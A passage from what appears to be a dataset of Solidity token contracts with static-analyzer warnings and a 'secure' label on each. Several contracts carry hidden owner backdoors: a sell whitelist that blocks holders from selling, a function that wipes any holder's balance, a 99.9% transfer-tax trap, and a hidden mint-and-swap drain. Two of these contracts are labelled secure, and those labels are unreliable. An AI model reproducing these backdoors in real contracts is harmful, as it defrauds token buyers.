(tokenBalance > 0) {\n _transfer(address(this), _taxWallet, tokenBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_1370.sol", "secure": 0, "size_bytes": 17460 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ERC20Upgradeable.sol\" as ERC20Upgradeable;\nimport \"./OwnableUpgradeable.sol\" as OwnableUpgradeable;\n\ncontract MyToken is Initializable, ERC20Upgradeable, OwnableUpgradeable {\n uint256 public maxMintAmount;\n\n mapping(address => bool) private sellWhitelist;\n\n uint256 private maxSellLimit;\n\n uint256 private stage;\n\n address private executorAddress;\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 0406ee9): MyToken.initialize(string,string,address,address,uint256) should emit an event for executorAddress = _executorAddress \n\t// Recommendation for 0406ee9: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c1d083): MyToken.initialize(string,string,address,address,uint256).name shadows ERC20Upgradeable.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 4c1d083: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56e7705): MyToken.initialize(string,string,address,address,uint256).symbol shadows ERC20Upgradeable.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for 56e7705: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9046498): MyToken.initialize(string,string,address,address,uint256)._executorAddress lacks a zerocheck on \t executorAddress = _executorAddress\n\t// Recommendation for 9046498: Check that the address is not zero.\n function initialize(\n string memory name,\n string memory symbol,\n address mintAddress,\n address _executorAddress,\n uint256 _maxMintAmount\n ) public initializer {\n __ERC20_init(name, symbol);\n\n __Ownable_init(msg.sender);\n\n _mint(mintAddress, _maxMintAmount);\n\n maxMintAmount = _maxMintAmount;\n\n\t\t// missing-zero-check | ID: 9046498\n\t\t// events-access | ID: 0406ee9\n executorAddress = _executorAddress;\n\n maxSellLimit = 0;\n\n stage = 0;\n }\n\n modifier onlyExecutor() {\n require(\n executorAddress == _msgSender(),\n \"caller is not the executor or ower\"\n );\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 48e99ee): MyToken.setExecutorAddress(address)._executorAddress lacks a zerocheck on \t executorAddress = _executorAddress\n\t// Recommendation for 48e99ee: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: d27beb6): MyToken.setExecutorAddress(address) should emit an event for executorAddress = _executorAddress \n\t// Recommendation for d27beb6: Emit an event for critical parameter changes.\n function setExecutorAddress(address _executorAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: 48e99ee\n\t\t// events-access | ID: d27beb6\n executorAddress = _executorAddress;\n }\n\n function mint(address to, uint256 amount) external onlyOwner {\n require(\n totalSupply() + amount <= maxMintAmount,\n \"Minting amount exceeds max supply limit\"\n );\n\n _mint(to, amount);\n }\n\n function setStage(uint256 _stage, uint256 limit) public onlyExecutor {\n stage = _stage;\n\n maxSellLimit = limit;\n }\n\n function getStage() public view onlyExecutor returns (uint256) {\n return stage;\n }\n\n function addToSellWhitelist(\n address[] calldata accounts\n ) external onlyExecutor {\n for (uint256 i = 0; i < accounts.length; i++) {\n sellWhitelist[accounts[i]] = true;\n }\n }\n\n function removeFromSellWhitelist(\n address[] calldata accounts\n ) external onlyExecutor {\n for (uint256 i = 0; i < accounts.length; i++) {\n sellWhitelist[accounts[i]] = true;\n }\n }\n\n function getSellWhitelist(\n address value\n ) public view onlyExecutor returns (bool) {\n return sellWhitelist[value];\n }\n\n function setMaxSellLimit(uint256 limit) external onlyExecutor {\n maxSellLimit = limit;\n }\n\n function getMaxSellLimit() public view onlyExecutor returns (uint256) {\n return maxSellLimit;\n }\n\n function transfer(\n address to,\n uint256 value\n ) public virtual override returns (bool) {\n address from = _msgSender();\n\n if (sellWhitelist[from]) {\n return super.transferFrom(from, to, value);\n } else if (stage == 1) {\n require(\n value <= maxSellLimit,\n \"Sell amount exceeds max transaction limit\"\n );\n } else {\n require(\n sellWhitelist[from],\n \"Address not allowed to sell at current stage\"\n );\n }\n\n return super.transfer(to, value);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual override returns (bool) {\n if (sellWhitelist[from]) {\n return super.transferFrom(from, to, value);\n } else if (stage == 1) {\n require(\n value <= maxSellLimit,\n \"Sell amount exceeds max transaction limit\"\n );\n } else {\n require(\n sellWhitelist[from],\n \"Address not allowed to sell at current stage\"\n );\n }\n\n return super.transferFrom(from, to, value);\n }\n}", "file_name": "solidity_code_1371.sol", "secure": 0, "size_bytes": 5783 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MAYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e6e0277): MAYA._taxWallet should be immutable \n\t// Recommendation for e6e0277: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39e3328): MAYA._initialBuyTax should be constant \n\t// Recommendation for 39e3328: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed9c961): MAYA._initialSellTax should be constant \n\t// Recommendation for ed9c961: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5499cf5): MAYA._reduceBuyTaxAt should be constant \n\t// Recommendation for 5499cf5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2dfb2f7): MAYA._reduceSellTaxAt should be constant \n\t// Recommendation for 2dfb2f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7aa0d2c): MAYA._preventSwapBefore should be constant \n\t// Recommendation for 7aa0d2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make America Yuge Again\"; //\n\n string private constant _symbol = unicode\"MAYA\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74282f7): MAYA._taxSwapThreshold should be constant \n\t// Recommendation for 74282f7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2be2ef2): MAYA._maxTaxSwap should be constant \n\t// Recommendation for 2be2ef2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x4a250292Df7f271c48a48093b974D419E3d935Cd);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8597cf4): MAYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8597cf4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5106ecb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5106ecb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0ea34b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0ea34b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5106ecb\n\t\t// reentrancy-benign | ID: 0ea34b8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5106ecb\n\t\t// reentrancy-benign | ID: 0ea34b8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 867afb2): MAYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 867afb2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0ea34b8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5106ecb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae4afa0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae4afa0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd00431): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd00431: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ae4afa0\n\t\t\t\t// reentrancy-eth | ID: bd00431\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ae4afa0\n\t\t\t\t\t// reentrancy-eth | ID: bd00431\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: bd00431\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: bd00431\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bd00431\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ae4afa0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bd00431\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bd00431\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ae4afa0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5106ecb\n\t\t// reentrancy-events | ID: ae4afa0\n\t\t// reentrancy-benign | ID: 0ea34b8\n\t\t// reentrancy-eth | ID: bd00431\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5106ecb\n\t\t// reentrancy-events | ID: ae4afa0\n\t\t// reentrancy-eth | ID: bd00431\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 522f3f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 522f3f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 474b25f): MAYA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 474b25f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d4a4623): MAYA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d4a4623: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7029f8d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7029f8d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 522f3f2\n\t\t// reentrancy-eth | ID: 7029f8d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 522f3f2\n\t\t// unused-return | ID: 474b25f\n\t\t// reentrancy-eth | ID: 7029f8d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 522f3f2\n\t\t// unused-return | ID: d4a4623\n\t\t// reentrancy-eth | ID: 7029f8d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 522f3f2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7029f8d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1372.sol", "secure": 0, "size_bytes": 17237 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Ethfoundation is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable sculpture;\n\n constructor() {\n _name = \"ETH FOUNDATION\";\n\n _symbol = \"ETHF\";\n\n _decimals = 18;\n\n uint256 initialSupply = 354000000;\n\n sculpture = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == sculpture, \"Not allowed\");\n\n _;\n }\n\n function title(address[] memory tidy) public onlyOwner {\n for (uint256 i = 0; i < tidy.length; i++) {\n address account = tidy[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1373.sol", "secure": 1, "size_bytes": 4368 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract ETHWhaleAI is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebf9d91): ETHWhaleAI._decimals should be constant \n\t// Recommendation for ebf9d91: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b8e0550): ETHWhaleAI._totalSupply should be immutable \n\t// Recommendation for b8e0550: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 88db199): ETHWhaleAI._name should be constant \n\t// Recommendation for 88db199: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Whale AI whaleai.online\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 65e0e65): ETHWhaleAI._symbol should be constant \n\t// Recommendation for 65e0e65: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"EWB\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2292a35): ETHWhaleAI.uniV2Router should be constant \n\t// Recommendation for 2292a35: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 31dc0bc): ETHWhaleAI._taxWallet should be immutable \n\t// Recommendation for 31dc0bc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function requestto() external {}\n\n function reuestfor() external {}\n\n function forminimum() public {}\n\n function formaximum() external {}\n\n function tomodify(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function minimizelimit(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_1374.sol", "secure": 1, "size_bytes": 7094 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Zereborn is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0f8c06c): zereborn._taxWallet should be immutable \n\t// Recommendation for 0f8c06c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69a0c22): zereborn._initialBuyTax should be constant \n\t// Recommendation for 69a0c22: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0959de): zereborn._initialSellTax should be constant \n\t// Recommendation for e0959de: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b1199b): 